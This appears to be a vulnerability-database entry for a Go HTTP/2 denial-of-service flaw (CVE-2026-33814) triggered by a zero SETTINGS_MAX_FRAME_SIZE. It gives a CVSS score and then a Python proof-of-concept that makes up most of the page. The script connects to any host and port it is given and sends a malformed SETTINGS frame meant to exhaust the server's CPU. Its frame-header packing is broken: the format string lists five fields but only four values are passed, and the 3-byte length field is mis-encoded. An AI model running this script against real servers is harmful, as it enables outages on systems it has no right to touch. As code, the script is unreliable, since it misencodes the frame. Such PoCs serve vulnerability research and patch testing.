When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a SETTINGS_MAX_FRAME_SIZE with a value of 0.
CVSS Details
CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Configurations (Affected Products)
No configuration data available.
Go (具体受影响版本请参考 go.dev/cl/761581 和 go.dev/cl/761640)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
PoC for CVE-2026-33814 (Go HTTP/2 Infinite Loop)
This script sends a malicious SETTINGS frame with SETTINGS_MAX_FRAME_SIZE set to 0.
Target must support HTTP/2 (e.g., a Go web server).
"""
import socket
import struct
def send_exploit(target_host, target_port):
# HTTP/2 Connection Preface
preface = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'
# SETTINGS Frame Format:
# Length (3 bytes) | Type (1 byte) | Flags (1 byte) | Stream Identifier (4 bytes) | Payload
# Type: 4 (SETTINGS)
# Flags: 0 (None)
# Stream ID: 0
# Payload: Identifier (2 bytes) | Value (4 bytes)
# Identifier: 5 (SETTINGS_MAX_FRAME_SIZE)
# Value: 0 (Malicious value)
payload_id = 5 # SETTINGS_MAX_FRAME_SIZE
payload_value = 0
# Construct Payload
payload = struct.pack('>HL', payload_id, payload_value)
# Construct Frame Header
frame_type = 4
flags = 0
stream_id = 0
length = len(payload)
# Pack header: Length (3 bytes, big-endian shifted), Type, Flags, Stream ID
frame_header = struct.pack('>HBBBL', length, frame_type, flags, stream_id)
settings_frame = frame_header + payload
try:
print(f"[+] Connecting to {target_host}:{target_port}...")
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(5)
s.connect((target_host, target_port))
# Upgrade connection or assume HTTP/2 direct (h2c)
# For simplicity, this sends raw frames. If using HTTPS, use an ALPN tunnel.
print("[+] Sending HTTP/2 Preface...")
s.sendall(preface)
print("[+] Sending Malicious SETTINGS Frame (MAX_FRAME_SIZE=0)...")
s.sendall(settings_frame)
print("[+] Exploit sent. Check server CPU usage.")
# Keep connection open to maintain state if needed
# s.recv(1024)
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
import sys
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <host> <port>")
sys.exit(1)
send_exploit(sys.argv[1], int(sys.argv[2]))